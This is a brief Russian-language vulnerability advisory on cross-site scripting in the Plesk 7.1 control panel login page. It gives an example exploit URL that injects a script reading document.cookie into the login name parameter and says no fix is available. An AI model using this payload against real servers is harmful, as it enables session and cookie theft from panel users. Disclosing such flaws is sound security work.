Межсайтовый скриптинг в Plesk 7.1

Описание: Уязвимость обнаружена в Plesk 7 Reloaded. Удаленный пользователь может выполнить XSS нападение.

Пример/Эксплоит:

http://[target]/login_up.php3?login_n ame="><script>alert(document.cookie)</script><"&passwd=TheSur

URL производителя: http://www.sw-soft.com/en/products/plesk7reloaded/

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.